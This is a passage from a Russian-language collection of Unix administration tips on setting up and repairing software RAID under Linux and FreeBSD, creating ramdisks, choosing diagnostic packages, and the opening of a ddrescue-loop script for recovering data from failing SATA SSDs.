       GEOM_MIRROR: Device gm0: provider ggate0 disconnected.
    
    На слейв узде останавливаем зеркалирование:
    
       gmirror stop gm0
    
    Запускаем на слейве экспорт ggated
    
       ggated -v
    
    На мастер узле подключаем удаленный диск:
    
       ggatec create 192.168.100.2 /dev/da0s1e
    
    На мастере автоматически должен быть обнаружен подключенный внешний диск:
    
       GEOM_MIRROR: Device gm0: provider ggate0 detected.
       GEOM_MIRROR: Device gm0: provider ggate0 activated.
    
    Запускаем перестроение raid и ждем его завершения:
    
       gmirror rebuild gm0 ggate0
    
    
    Замечания по поводу сохранения целостности данных:
    
    - нельзя экспортировать через ggated физические разделы, если они уже добавлены в зеркало;
    - не нужно предпринимать попытки создания мастер-мастер репликации, это невозможно;
    - нельзя монтировать экспортируемый раздел на активном слейв сервере.
    Монтирование экспортируемого раздела слейва возможно только на мастер-узле;
    - После сбоя необходимо выполнить fsck для зеркала;
    - Обязательно ведение резервного копирования зеркала.
    
     
    ----* Добавление дополнительного диска в программный RAID5 в Linux   [комментарии]
     
    Имеем 3 диска: /dev/sda,/dev/sdb, /dev/sdc
    
    Создаем RAID5:
    
       mdadm --create /dev/md0 --chunk=64 --level=5 --raid-devices=3 /dev/sda1 /dev/sdb1 /dev/sdc1
    
    Со временем докупили еще диск и решили использовать его как запасной, 
    который автоматически включается в работу при сбое одного из дисков.
    
    Подключаем /dev/sdd1, как "spare":
       mdadm --manage /dev/md0 --add  /dev/sdd1
    
    Позже места в RAID5 стало нехватать и мы решили включить spare диск в состав RAID5.
    Перестраиваем массив:
       mdadm --grow /dev/md0 --raid-devices=4
    
    Через несколько часов, когда операция будет завершена (следим через /proc/mdstat),
    расширяем файловую систему:
       fsck.ext3 /dev/md0
       resize2fs /dev/md0
    
     
    ----* Создание программного RAID10 в Linux (доп. ссылка 1)   [комментарии]
     
    Имеет 4 диска: /dev/sd[abcd], на каждом из которых создано по одному разделу.
    Хотим получить RAID10, как комбинацию из двух raid1, объединенных в raid0 (striping).
    
    Создаем два RAID1, /dev/md0 и /dev/md1
       mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/sda1 /dev/sdb1
       mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdc1 /dev/sdd1
    
    Объединяем их в RAID10 (1+0):
       mdadm --create /dev/md2 --chunk=64 --level=0 --raid-devices=2 /dev/md0 /dev/md1
    
    Тоже самое можно проделать одной командой
       mdadm --create /dev/md0 --level=10 --raid-devices=4 /dev/sda1 /dev/sdb1 /dev/sdc1 /dev/sdd1
    
    Смотрим, что получилось в итоге:
       mdadm --detail /dev/md2 
       cat /proc/mdstat
    
     
    ----* Как заменить сбойный диск в программном RAID1 в Linux (доп. ссылка 1)   Автор: howtoforge.com  [комментарии]
     
    Программный RAID1 /dev/md0 включает в себя разделы /dev/sda1 и /dev/sdb1.
    Задача заменить диск  /dev/sdb.
    
    Диагностику смотрим через (если вместо [UU] видим [U_], то целостность одного из дисков нарушена):
       cat /proc/mdstat
    
    Помечаем раздел как сбойный:
       mdadm --manage /dev/md0 --fail /dev/sdb1
    
    Отключаем раздел (удаляем из RAID1)
       mdadm --manage /dev/md0 --remove /dev/sdb1
    
    Выключаем машину, меняем диск. 
    
    Создаем через fdisk идентичные разделы, или копируем структуру первого диска /dev/sda:
       sfdisk -d /dev/sda | sfdisk /dev/sdb
    
    Добавляем раздел в RAID1 массив:
       mdadm --manage /dev/md0 --add /dev/sdb1
    
     
    ----* Создание программного RAID1 под FreeBSD c использованием gmirror (доп. ссылка 1)   Автор: zulustips.com  [комментарии]
     
    Имеем два диска /dev/ad4 и /dev/ad6, на /dev/ad4 установлена рабочая система.
    
    Создаем RAID1 /dev/mirror/gm0  и подключаем к нему диск /dev/ad4 (текущий):
       gmirror label -v -b round-robin gm0 /dev/ad4
    
    В случае появления ошибки "Can't store metadata on /dev/ad4: Operation not permitted" делаем:
       sysctl kern.geom.debugflags=16
    
    Включаем загрузку модуля ядра geom_mirror.ko:
       echo geom_mirror_load=YES >> /boot/loader.conf
    
    В /etc/fstab меняем /dev/ad4 на /dev/mirror/gm0
    
    Перезагружаемся и проверяем все ли нормально.
    
    Подключаем в RAID1 второй диск:
       gmirror insert gm0 /dev/ad6
    
    В логе /var/log/messages должно появиться:
       GEOM_MIRROR: Device gm0: provider ad6 detected.
       GEOM_MIRROR: Device gm0: rebuilding provider ad6.
    
    Дожидаемся окончания перестроения RAID, периодически запуская:
       gmirror status
    или
       gmirror list
    
    После завершения перестроения, скорость чтения должна возрасти почти в два раза.
    
    В случае выхода из строя диска /dev/ad6, вставляем новый и делаем:
       gmirror forget gm0
       gmirror insert gm0 /dev/ad6
    
     
    ----* Добавление программного RAID 1 раздела на Linux сервер. (доп. ссылка 1)   Автор: sweta  [комментарии]
     
    Имеем два дополнительных диска:
       /dev/hdb (/dev/hdb1 - 40 GB)
       /dev/hdc (/dev/hdc1 - 40 GB) 
    
    Создаем RAID 1:
       mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/hdb1 /dev/hdc1
    
    Смотрим статус:
       cat /proc/mdstat
    
    Создаем файловую систему на RAID разделе:
       mkfs.ext3 /dev/md0
    
    Настраиваем монтирование при загрузке (в /etc/fstab):
       /dev/md0                /data2                       ext3    defaults        0 0
    
     
    ----* Создание atacontrol RAID1 под FreeBSD на живой системе (доп. ссылка 1)   Автор: good_loki  [комментарии]
     
    При создании RAID1 например:
        # atacontrol create RAID1 ad0 ad2
    
    система создает raid массив но на него пока ничего не пишеться. Но статус у него READY:
    
        # atacontrol status ar0
       ar0: ATA RAID1 subdisks: ad4 ad6 status: READY
    
    Система считает что после создания raid, на нем создадут слайсы,
    и партиции, после чего на них запишут данные.(что и происходит при установке системы на ar0)
    при этом все данные не будут нарушать целостность raid.
    Но систему можно обмануть.
    
       # atacontrol list
       ATA channel 0:
           Master:  ad0 <ST380011A/3.06> ATA/ATAPI revision 6 //живая система
           Slave:       no device present
       ATA channel 1:
           Master:  ad2 <ST380011A/3.06> ATA/ATAPI revision 6 //новый диск
           Slave:       no device present
    
       # atacontrol detach 1
    
    Теперь мы имеем целостный RAID1 состоящий из одного диска с системой.
    
       # atacontrol status ar0
          ar0: ATA RAID1 subdisks: ad0 DOWN status: DEGRADED
    
    Прописываем ar0 в fstab
       # Device         Mountpoint FStype Options Dump Pass#
       /dev/ar0s1b none swap       sw             0       0
       /dev/ar0s1a      /          ufs     rw     1       1
       /dev/ar0s1e      /tmp       ufs     rw     2       2
       /dev/ar0s1f      /usr       ufs     rw     2       2
       /dev/ar0s1d      /var       ufs     rw     2       2
    
    перегружаем систему (!!!должна нормально смонтировать все файловые системы,
    внимательно смотрите лог загрузки)
    после перезагрузки:
    
       # atacontrol status ar0
          ar0: ATA RAID1 subdisks: ad0 DOWN status: DEGRADED
       # atacontrol addspare ar0 ad2
       # atacontrol rebuild ar0
       # atacontrol status ar0
          ar0: ATA RAID1 subdisks: ad0 ad1 status: REBUILDING 1% completed
    
    После окончания rebuild система готова к использованию.
    
     
    ----* Как перенеси существующую Linux систему на RAID1 добавив второй диск (доп. ссылка 1)   Автор: philcore  [комментарии]
     
    /dev/sda - диск с установленной ОС
    /dev/sdb - новый диск для зеркала
    
    Клонируем информацию о разделах на новый диск:
       sfdisk -d /dev/sda | sfdisk /dev/sdb
    
    Создаем RAID1, но первый диск пока не трогаем, пометив его отсутствующим:
       mdadm --create /dev/md0 --level 1 --raid-devices=2 missing /dev/sdb1
       mdadm --create /dev/md1 --level 1 --raid-devices=2 missing /dev/sdb2
       и т.д. для всех существующих разделов.
    
    Создаем ФС:
       mkfs.ext3 /dev/md0
       mkfs.ext3 /dev/md1
       ...
    
    Монтируем и копируем данные в RAID:
       mount /dev/md0 /mnt
       cp -dpRx / /mnt
       mount /dev/md1 /mnt/var
       cp -dpRx /var /mnt
       ...
    
    Меняем устройство для загрузки, для Grub в /mnt/boot/grub/menu.lst:
       title       Custom Kernel 2.6.11.7
       root        (hd0,0)
       kernel      /boot/vmlinuz-2.6.11.7 root=/dev/md0 md=0,/dev/sda1,/dev/sdb1 ro
       boot
    
       title       Custom Kernel 2.6.11.7 (RAID Recovery)
       root        (hd1,0)
       kernel      /boot/vmlinuz-2.6.11.7 root=/dev/md0 md=0,/dev/sdb1 ro
       boot
    
    Устанавливаем Grub на второй диск:
       grub-install /dev/sda
    
    Если при установке выдается ошибка:
       /dev/sda does not have any corresponding BIOS drive.
    
    Нужно выполнить 
       grub-install --recheck /dev/sda
    
    Или установить вручную:
       grub
       grub: device (hd0) /dev/sdb
       grub: root (hd0,0)
       grub: setup (hd0)
       grub: quit
    
    
    
       cp -dp /mnt/etc/fstab /etc/fstab
       cp -dp /mnt/boot/grub/menu.lst /boot/grub
    
    Перезагружаемся (второй диск) и проверяем все ли работает, если да - подключаем старый диск в RAID:
    
       mdadm --add /dev/md0 /dev/sda1
       mdadm --add /dev/md1 /dev/sda2
       ...
    
       cat /proc/mdstat
    
     
    ----* Мониторинг и восстановление программного RAID в Linux   Автор: radigor  [комментарии]
     
    Управление программными RAID1-массивами в RHEL
    
    Мониторинг состояния 
    
    Информация о всех RAID-массивах:
       # more /proc/mdstat
    или
       # cat /proc/mdstat
    или
       # watch -n .1 cat /proc/mdstat
    
    Информация о конкретном дисковом разделе:
       # mdadm -E /dev/sd<a-b><1-10>
    например:
       # mdadm -E /dev/sdb2
    
    
    Восстановление функционирования
    
    Восстановление функционирования (rebuild) разделов диска по одному после
    однократного "несмертельного" сбоя:
       # mdadm -a /dev/md<0-6> /dev/sd<a-b><1-10>
    например:
       # mdadm -a /dev/md0 /dev/sdb1
    Нужно быть аккуратным с номерами разделов
    В случае ошибки, удалить компонент из RAID командой:
       # mdadm -r /dev/md0 /dev/sdb1
    получается не всегда - устройство может быть занято.
    
    
    Замена диска
    
    1. Выключить компьютер и заменить диск
    
    2. Включить компьютер  и определить имеющиеся на обоих дисках разделы:
       # fdisk /dev/sd<a-b> -l
    
    3. С помощью fdisk создать на новом диске разделы, идентичные оригиналу
    Необходимо пометить нужный раздел нового диска (sda1 или sdb1) как загрузочный
    до включения в зеркало.
    Swap-разделы не подлежат зеркалированию в программном RAID
    
    4. Выполнить Мониторинг состояния и Восстановление функционирования 
    
    
    Настройка оповещения
    
    Мониторинг выполняется с помощью crond ежечасно.
    В папку /etc/cron.haurly помещен файл mdRAIDmon, содержащий команду:
       # mdadm --monitor --scan -1 --mail=postmaster@domain.name.ru
    
    Для проверки рассылки сообщения добавляется ключ --test:
       # mdadm --monitor --scan -1 --mail=postmaster@domain.name.ru --test
    
    Помещая файл задания в папку, необходимо установить права доступа на выполнение
    Если нужно чаще, самое простое, добавьте в /etc/crontab строку, используя нотацию с "/", например:
       */5 * * * * root run-parts /etc/cron.my5min
    
    Конечно, можно попробовать и другие варианты планирования заданий с atd или batch. 
    
    Создайте папку /etc/cron.my5min и поместите туда файл mdRAIDmon
    C имитацией отказа диска мне было проще - сервер SR1425BK1 - с корзиной HotSwap
    
     
    ----* Кратко о текущих методах программного зеркалирования под FreeBSD   [обсудить]
     
  • CCD (Concatenated Disk Driver) - поддерживает RAID-0 (Striping) и RAID-1 (Mirroring), под FreeBSD 5 подогнана под работу через GEOM, но возможностей меньше чем в GEOM gmirror. При сбое одного из дисков, для продолжения работы нужно восстановить утраченный диск;
  • Vinum - очень богатые возможности, но сложен и непрозрачен в настройке, под FreeBSD 5 работает нестабильно. При сбое диска, система продолжит работу;
  • GEOM Vinum - порт Vinum для работы через GEOM, еще не достаточно отлажен и документирован;
  • GEOM Mirror - специальный GEOM класс для создания RAID-1 зеркал, прост и понятен в настройке, в FreeBSD 5.3 говорят о хорошей стабильности. Поддерживает зеркалирования как дисков в целом, так и отдельных разделов. Доступно несколько режимов балансировки нагрузки на диски в мирроре (round-robin, использование менее загруженного диска и т.д.). После сбоя система продолжает работу, имеется функция автосинхронизации на новый пустой диск.
  •  
    ----* Настройка программного RAID5 во FreeBSD   Автор: McSeem  [комментарии]
     
    Понадобилось организовать надежное хранение большого объёма данных. По сей день
    использовалось софтовое зеркало, но существующего объёма уже не хватало и
    решено было соорудить RAID5 из трёх дисков по терабайту. В моём случае
    избыточность составит 1/3 против 1/2 (зеркало).
    
    Судя по тому, что мне удалось узнать FreeBSD поддерживает организацию RAID5
    двумя менеджерами дискового пространства: VINUM и GEOM.
    
    Попробуем каждый из них:
    
    I. VINUM.
    
    Начиная с FreeBSD5 VINUM была переписана для совместимости с архитектурой GEOM,
    и теперь новая подсистема называется GVINUM, а модуль ядра сменил название с
    vinum.ko на geom_vinum.ko.
    
    Создадим директорию к которой будем монтировать наш RAID5:
    
       snap# mkdir /raid5
    
    Теперь создаём конфигурационный файл нашего массива(расположить его можно где угодно):
    
       snap# touch /usr/local/gvinum.conf
    
    После этого непосредственно конфигурируем наш массив(как я говорил, в моем
    случае будет 3 диска по терабайту):
    
       snap# vi /usr/local/gvinum.conf
    
    Пишем в файле следующее:
    
       drive raid51 device /dev/ad5
       drive raid52 device /dev/ad6
       drive raid53 device /dev/ad7
       volume raid5
       plex org raid5 256k
       sd len 1t drive raid51
       sd len 1t drive raid52
       sd len 1t drive raid53
    
    Где:
    
    - drive raid51/raid52/raid53 - это просто псевдонимы физических дисков (можно
    придумать любое). Используются чисто для удобства. С этими псевдонимами мы
    будем работать во всём файле и поменяв физический диск, нам не придётся менять
    его название во всём конфигурационном файле, а достаточно лишь изменить в описании.
    
    - volume raid5 - это виртуальный диск (можно придумать тоже любое название).
    Система его будет видеть как 1 физическое устройство, хотя в моем случае это
    массив из 3х дисков с полезным объёмом равным ~2м терабайтам. Отображаться
    будет как /dev/gvinum/raid5 (Назовёте volume terminator, отображаться будет /dev/gvinum/terminator).
    
    - plex - это набор, который предоставляет полное адресное пространство тома.
    Нам нобходим набор RAID5, поэтому организуем набор RAID5: org raid5, причем
    организовываем со страйпом в 256кВ (судя документации это самый оптимальный
    размер полосы).
    
    - sd - это поддиски(SubDisk), VINUM может организовывать массивы не только из
    отдельных физических дисков, но и используя разделы UNIX. Я же использую 3
    отдельных физических устройства, каждый по 1 терабайту, поэтому указываем
    размер: len 1t.
    
    На этом описание конфигурационного файла закончилось. Теперь создаём сам RAID массив:
    
       snap# gvinum create /usr/local/gvinum.conf
    
    Создаётся устройство /dev/gvinum/raid5. На нём необходимо создать файловую систему. Создаём:
    
       snap# newfs /dev/gvinum/raid5
    
    Стандартное ядро FreeBSD(GENERIC) не включает Vinum. Можно пересобрать ядро с
    поддержкой Vinum, но этого делать не рекомендуют. Обычный способ активации
    Vinum - загрузка модуля для ядра (kld). Так и поступим, только использовать
    команду kldload не будем, да и нет необходимости, при первом вызове gvinum
    проверит наличие поддержки Vinum в ядре и при необходимости загрузит модуль
    автоматически. Я сделаю так чтобы модуль Vinum был доступен на этапе загрузки,
    для этого делаем так:
    
       snap# echo geom_vinum_load="YES" >> /boot/loader.conf
    
    И последний момент, нужно смонтировать наш массив (Точку монтирования мы
    указываем /raid5, ту, что создали изначально):
    
       snap# echo /dev/gvinum/raid5 /raid5 ufs rw 2 2 >> /etc/fstab
    
    Перегружаемся и всё должно работать.
    
    :( У меня сервер уходит в Fatal trap 12(Kernel panic) и перегружается до
    бесконечности. Ничего страшного. Выключаем, ждём 5 минут и включаем, если не
    получится, выключаем, ждём ещё 5 минут и включаем, в конце концов включается
    всё норм! Называется размечтался... 1t = 1024G, смотрю свой диск... а там всего
    953869m... В общем нужно в конфиге уменьшить размер - len! И после этого всё
    замечательно работает!!!
    
    Можно выводить диски из массива и т.д., но как-то долго... проще сбросить конфиг:
    
       snap# gvinum resetconfig
    
    На что, он нас спрашивает, вы мол в своё уме? подтвердите что вы это делаете
    осмысленно! И просит ввести текст "NO FUTURE", ну чтож, вводим:
    
       Enter text -> NO FUTURE
    
    Я поменял в конфиге размеры дисков на:
    
       len 953869m
    
    После этого, повторяем команды:
    
       snap# gvinum create /usr/local/gvinum.conf
       snap# newfs /dev/gvinum/raid5
    
    Перегружаемся ещё раз...И вуаля!!! Всё работает!!!
    
    
    II. GEOM:
    
    Пробуем второй вариант. GEOM RAID5 в FreeBSD не входит, поэтому придётся
    скачивать с сайта. На сайте видим, что есть 3 версии это:
    
    - Компромисс скорости и использования памяти: geom_raid5
    - Самая стабильная, но и самая медленная: geom_raid5 TNG
    - Улучшенная скорость, но и памяти соответственно потребляет больше: geom_raid5 PP
    
    Все версии доступны тут:
    
    geom_raid5: http://wgboome.homepage.t-online.de./geom_raid5.tbz
    geom_raid5 TNG: http://wgboome.homepage.t-online.de./geom_raid5-eff.tbz
    geom_raid5 PP: http://wgboome.homepage.t-online.de./geom_raid5-pp.tbz
    
    Я выбрал "geom_raid5", поэтому переходим в папку с источниками:
    
       snap# cd /usr/src
    
    И скачиваем архив:
    
       snap# wget http://wgboome.homepage.t-online.de./geom_raid5.tbz
    
    Архив необходимо распаковать. Действуем:
    
       snap# tar -xf geom_raid5.tbz
    
    Архив распакован,переходим к процессу инсталляции. Первым делом необходимо
    собрать модуль. Переходим в папку с конфигом:
    
       snap# cd /usr/src/sys/modules/geom/geom_raid5
    
    И запускаем компиляцию:
    
       snap# make
    
    упс... :( у меня вылезли ошибки...читаем...пробуем исправить... Для этого делаем следующее:
    
       snap# cd /usr/src/sys/geom/raid5
    
    И правим в файле g_raid5.c (если у вас ошибки будут такие же как и у меня) кому
    каким редактором удобнее:
    
    1. Ошибка: в строке  2015 в функции "kthread_exit" много аргументов
           исправляем: меняем в строке 2015 kthread_exit(0); на kthread_exit();
    2. Ошибка: в строке 2444 в функции "kthread_exit" много аргументов
           исправляем: меняем в строке 2444 kthread_exit(0); на kthread_exit();
    3. Ошибка: в строке 2635 нету описания функции "kthread_create"
           исправляем: меняем в строке 2635 kthread_create (остальное не трогаем), на kproc_create
    4. Ошибка: в строке 2639 нету описания функции "kthread_create"
           исправляем: меняем в строке 2639 kthread_create (остальное не трогаем), на kproc_create
    Примечание: Ошибка 4 другая, и ссылается на строку 2635, но изменив строку 2635
    необходимо изменить и 2639, так что делаем так.
    
    После того как исправили,снова делаем компиляцию модуля:
    
       snap# cd /usr/src/sys/modules/geom/geom_raid5
       snap# make
    
    Появляется нужный нам файл: "*geom_raid5.ko". Его необходимо скопировать ко всем модулям. Копируем:
    
       snap# cp geom_raid5.ko /boot/kernel/geom_raid5.ko
    
    Теперь устанавливаем сам geom_raid5:
    
       snap# cd /usr/src/sbin/geom/class/raid5
       snap# make && make install && make clean
    
    Собственно после инсталляции GEOM_RAID5 собираем RAID массив:
    
       snap# graid5 label -v -s 256k graid5 /dev/da0 /dev/da1 /dev/da2
    
    И создаём устройство:
    
       snap# graid5 load
    
    Создаётся устройство /dev/raid5/graid5. На нём необходимо создать файловую систему. Создаём:
    
       snap# newfs /dev/raid5/graid5
     
    Создаём точку монтирования:
    
       snap# mkdir /graid5
    
    Добавляем запись в /etc/fstab, для автоматического монтирования нашего массива
    RAID5 при загрузке системы:
    
       snap# echo /dev/raid5/graid5 /graid5 ufs rw 2 2 >> /etc/fstab
    
    Не забываем добавить загрузку модуля при старте системы:
    
       snap# echo 'geom_raid5_load="YES" >> /boot/loader.conf
    
    P.S. В конечном итоге остановил свой выбор на GVINUM. В основном из-за того,
    что он входит в состав FreeBSD, а разработчики, раз решили что GEOM_RAID5 ещё
    рано(или уже поздно) входить в релиз, то значит так и есть. Протестировал
    GVINUM на крах (отключением питания и отсоединением шлейфа от одного из дисков
    в режимах чтение\запись, после этого записывал\удалял данные с битого массива,
    перегружался, добавлял снова диск, восстанавливал всё работает замечательно!
    ...но это уже тема для другой статьи...)
    
     
    ----* Установка Adaptec Storage Manager в Debian Lenny (доп. ссылка 1)   Автор: Сергей  [комментарии]
     
    К сожалению на официальном сайте нет готовых решений для Adaptec Storage
    Manager, но поставить было нужно, для этого был скачан rpm пакет для 64 битной
    версии Rеd Hat, так как Debian также был 64 битный.
    
    Ну теперь по порядку:
    
    1. Скачали: asm_linux_x64_v6_40_18530.rpm
    
    2. Создаем директорию:
    
       # mkdir asm_linux_x64_v6_40_18530
    
    3. Кладем туда наш пакет:
    
       # mv asm_linux_x64_v6_40_18530.rpm asm_linux_x64_v6_40_18530
    
    4. Заходим:
    
       # cd asm_linux_x64_v6_40_18530
    
    5. Устанавливаем пакеты:
    
       # apt-get install alien fakeroot
    
    6. Пробуем сконвертировать rpm в deb пакет
    
       fakeroot alien asm_linux_x64_v6_40_18531.rpm
    
    Появляется ошибка:
    
       dpkg-gencontrol: error: current build architecture amd64 does not appear in package&#8217;s list (i386) 
    
    7. Редактируем perl модуль, который использует alien,
    
       vi /usr/share/perl5/Alien/Package/Deb.pm и меняем строчку:
       print OUT "Architecture: ".$this->arch."\n"; 
    
    на 
    
       print OUT "Architecture: amd64\n"; 
    
    Сохраяем и выходим.
    
    8. Теперь перезапускаем:
    
       fakeroot alien --scripts asm_linux_x64_v6_40_18530.rpm
    
    Появится сообщение о том что все прошло удачно:
    
       storman_6.40-18531_amd64.deb generated
    
    9. Создадим новую директорию
    
       storman_6.40-18531_amd64 и поддиректорию
       storman_6.40-18531_amd64/DEBIAN
    
    10. Извлекаем содержимое .deb пакета в созданную директорию
    
       # dpkg -x storman_6.40-18531_amd64.deb storman_6.40-18531_amd64
       # dpkg --control storman_6.40-18531_amd64.deb storman_6.40-18531_amd64/DEBIAN 
    
    11. Уберем специфические для rpm пактов строчки
    
       storman_6.40-18531_amd64/DEBIAN/postinst
    
    Уберем - chkconfig --add stor_agent 
    и storman_6.40-18531_amd64/DEBIAN/postrm
    Уберем - chkconfig --del stor_agent 
    
    12. Все, теперь можно заново все упаковать в .deb пакет
    
       # dpkg -b storman_6.40-18531_amd64/ storman_6.40-18531_amd64_n.deb
    
    13 Установка
    
       # dpkg -i storman_6.40-18531_amd64_n.deb
    
    14. Запуск
    
       /usr/StorMan/StorMan.sh
    
     

       Ramdisk, tmpfs

    ----* Как под FreeBSD создать файловую систему в памяти (ramdisk)   [комментарии]
     
    man mount_mfs
       mount_mfs -s 614400 /dev/amrd0s1b /usr/obj
    где /dev/amrd0s1b - swap раздел, 614400 - размер MFS диска N*1024*2 (614400 == 300mb).
    
     
    ----* Как под Linux создать ramdisk большого размера для использования в качестве временного хранилища.   [комментарии]
     
    Советую использовать tmpfs или ramfs
    (разница в том, что данные tmpfs подвержены своппингу, ramfs  создана для
    тестов, а ramdisk всегда хранится в ОЗУ)
    /usr/src/linux/Documentation/filesystems/tmpfs.txt
        mount -t tmpfs -osize=256M /dev/shm1 /mnt1
    Для ramfs:
         mount -t ramfs -omaxsize=256M none /mnt1
    Если желание использовать ramdisk осталось, читаем 
    /usr/src/linux/Documentation/ramdisk.txt
        mkdir /ramdisk
    Для 256Мб ramdisk в lilo.conf добавляем:
        append="ramdisk_size=256000"
    Запускаем lilo и перезагружаем машину.
       mke2fs /dev/ram0
       mount -t -ext2 /dev/ram0 /ramdisk
    
     

       Диагностика и Восстановление после сбоя

    ----* Полезные пакеты, которые можно установить на сервер для диагностики сбоев (доп. ссылка 1)   [комментарии]
     
    Минимальный набор пакетов  для диагностики проблем, которые рекомендуется
    заранее установить на серверы, чтобы не тратить время на установку
    дополнительных пакетов или поиск специализированных live-дистрибутивов.
    
    Установка диагностических утилит во время сбоя может превратиться в решение
    отдельной проблемы или потребовать много времени,  учитывая то, что во время
    сбоя может пропадать сетевое соединение, возникнуть проблемы с DNS, наблюдаться
    большие потери пакетов или снижение полосы пропускания, возникать большие
    задержки ввода команд из-за высокой нагрузки на CPU или исчерпания памяти,
    дисковый раздел может быть переведён в режим только для чтения и т.п.
    
    Список пакетов для предустановки (названия для Ubuntu) и поставляемые в них
    диагностические утилиты:
    
    
  • procps - утилиты ps, vmstat, uptime, top
  • util-linux - dmesg, lsblk, lscpu (общая статистика, информация о блочных устройствах и CPU)
  • sysstat - iostat, mpstat, pidstat, sar (оценка производительности)
  • iproute2 - ip, ss, nstat, tc (настройка сети и управление трафиком)
  • numactl - numastat (статистика по NUMA)
  • tcpdump - tcpdump (анализ трафика)
  • linux-tools-common и linux-tools-$(uname -r) - perf, turbostat (профилировние и мониторинг производительности)
  • bpfcc-tools (bcc) - opensnoop, execsnoop, runqlat, softirqs, hardirqs, ext4slower, ext4dist, biotop, biosnoop, biolatency, tcptop, tcplife, trace, argdist, funccount, profile (диагностика на базе eBPF)
  • bpftrace - bpftrace, opensnoop, execsnoop, runqlat, biosnoop (диагностика на базе eBPF)
  • trace-cmd - trace-cmd (CLI-интерфейс для ftrace)
  • nicstat - nicstat (информация о сетевых устройствах)
  • ethtool - ethtool (информация о сетевых устройствах)
  • tiptop - tiptop (PMU/PMC top)
  • cpuid - cpuid (информация о CPU)
  • msr-tools - rdmsr, wrmsr (информация о CPU) sudo apt install procps util-linux sysstat iproute2 numactl tcpdump linux-tools-common linux-tools-$(uname -r) bpfcc-tools bpftrace trace-cmd nicstat ethtool tiptop cpuid msr-tools
  •  
    ----* Cкрипт ddrescue-loop с функцией автоматической остановки/перезапуска диска на SATA порту (доп. ссылка 1)   Автор: gumanzoy  [комментарии]
     
    Cкрипт ddrescue-loop v0.1 с функцией автоматической остановки/перезапуска
    диска на SATA порту.
    
    Предназначен для упрощения процесса восстановления данных с неисправных SATA
    SSD. В случаях когда после ошибок чтения - SSD перестает возвращать данные и
    требует остановки/перезапуска.
    
    Для работы не требуется реле для отключения питания.
    Использует интерфейсы ядра udev /dev и sysfs /sys.
    
    Рекомендуется материнская плата с поддержкой AHCI.
    На платформах Intel начиная с Soc-1156 и на AMD AM4/AM5 нужно включать Hot Plug
    в UEFI BIOS Setup для каждого порта отдельно.
    На более старых AMD, но у которых в чипсете есть поддержка AHCI - сразу должно
    работать ничего специально включать не нужно.
    
       ddrescue-loop -ata N [-loop N] [-wait N] [-act N] outfile mapfile   [ddrescue options]
    
       ddrescue-loop -ata N -stop Остановить диск на SATA порту N
       ddrescue-loop -ata N -scan Cканировать SATA порт N
    
    Номер соответствует порту на мат.плате, но нумерация всегда начинается с 1, а
    не с 0 как на платах Gigabyte например. См. вывод dmesg
    
    Функция циклической остановки/перезапуска диска на SATA порту:
    
       -loop N Предельное число попыток N целое число. Указывать обязательно.
    
    Таймер ожидания остановки/перезапуска диска:
       -wait N Время в секундах. 10 по умолчанию.
    
    В конце после mapfile можно указать опции запуска ddrescue
    
    Код ddrescue-loop:
    
    #!/bin/sh
    #ddrescue-loop script writen by gumanzoy <gumanzoy@gmail.com>
    
    # Compatible only with Linux, not with other *nix!
    # Depends on udev /dev and sysfs /sys kernel interfaces
    # Requires SATA AHCI compatible motherboard
    # For all Intel and modern AMD platforms (AM4 and newer), check the UEFI Setup
    # SATA settings to ensure Port Hot Plug is enabled
    
    # [RU] forum thread. Обсуждение
    # https://forum.ixbt.com/topic.cgi?id=11:47589-31
    
    # /* This program is free software. It comes without any warranty, to
    # * the extent permitted by applicable law. You can redistribute it
    # * and/or modify it under the terms of the Do What The Fuck You Want
    # * To Public License, Version 2, as published by Sam Hocevar. See
    # * http://www.wtfpl.net/ for more details. */
    
    VERSION=0.1
    
    showhelp () {
    echo "ddrescue-loop v""$VERSION"" перезапускает процесс ddrescue в случае его завершения"
    echo "Внимание следует соблюдать очередность аргументов"
    echo "Указывать ключи в произвольном порядке нельзя!"
    echo "Числовые значения аргументов обязательно через пробел"
    echo -n "\n"
    echo "# Остановить/запустить диск на SATA порту:"
    echo "-ata <n> -stop""		""остановить диск на SATA порту <n>"
    echo "-ata <n> -scan""		""сканировать SATA порт <n>"
    echo -n "\n"
    echo "# Запустить восстановление:"
    echo "ddrescue-loop -ata <n> [-loop <n>] [-wait <n>] [-act <n>] outfile mapfile [ddrescue options]"
    echo -n "\n"
    echo "# Укажите номер SATA порта к которому подключен диск источник:"
    echo -n "-ata <n>""		""Номер SATA порта <n> цифра (смотрите вывод dmesg)"
    echo -n "\n""			""#: "; ls /sys/class/ata_port
    echo -n "\n"
    echo "# Функция циклической остановки/перезапуска диска на SATA порту:"
    echo "-loop <n>""		""<n> предельное число попыток"
    echo -n "\n"
    echo "# Таймер ожидания остановки/перезапуска диска:"
    echo "-wait <n>""		""Время в секундах <n> [10]"
    echo -n "\n"
    echo "# Переопределить таймаут ожидания исполнения ATA команд:"
    echo "-act <n>""		""Время в секундах <n> [1..30]"
    echo -n "\n"
    echo "# Основные:"
    echo "outfile""			""Устройство приемник данных / файл образа"
    echo "mapfile""			""ddrescue map/log файл (обязательно)"
    echo -n "\n"
    echo "# В конце после mapfile можно указать опции запуска ddrescue через пробел"
    echo "# Поддержка зависит от версии. Полный список опций в мануале. Важные:"
    echo "-P [<lines>]""		""Предпросмотр данных [число строк] по умолчанию 3"
    echo "-b 4096""			""Размер сектора (физического блока) [default 512]"
    echo "-O"" #Рекомендую!		""После каждой ошибки заново открывать файл устройства"
    echo "-J"" #Опционален		""При ошибке перечитать последний не сбойный сектор"
    echo "-r <n> #ИЛИ -r -1""	""<n> число повторных проходов до перехода к trim"
    echo "-m <domain.mapfile>""	""Ограничить область чтения доменом <file> ddru_ntfsbitmap"
    }
    
    get_ata_host () {
    until SCSIHOST=`readlink -f /sys/class/ata_port/ata"$1"/device/host?/scsi_host/host?/` \
    && test -d "$SCSIHOST"; do sleep 1; done
    }
    
    get_ata_target () {
    until SYSFSTGT=`readlink -f /sys/class/ata_port/ata"$1"/device/host?/target?:?:?/?:?:?:?/` \
    && test -d "$SYSFSTGT"; do sleep 1; done
    }
    
    get_ata_dev () {
    until INDEV=`readlink -f /dev/disk/by-path/pci-*-ata-"$1"` \
    && test -b "$INDEV"; do sleep 1; done
    }
    
    if [ "$1" = "-h" -o "$1" = "--help" ]; then showhelp
    exit; fi
    
    if [ "`whoami`" != "root" ]; then
    echo Exit. This script should be run as root !
    exit 1; fi
    
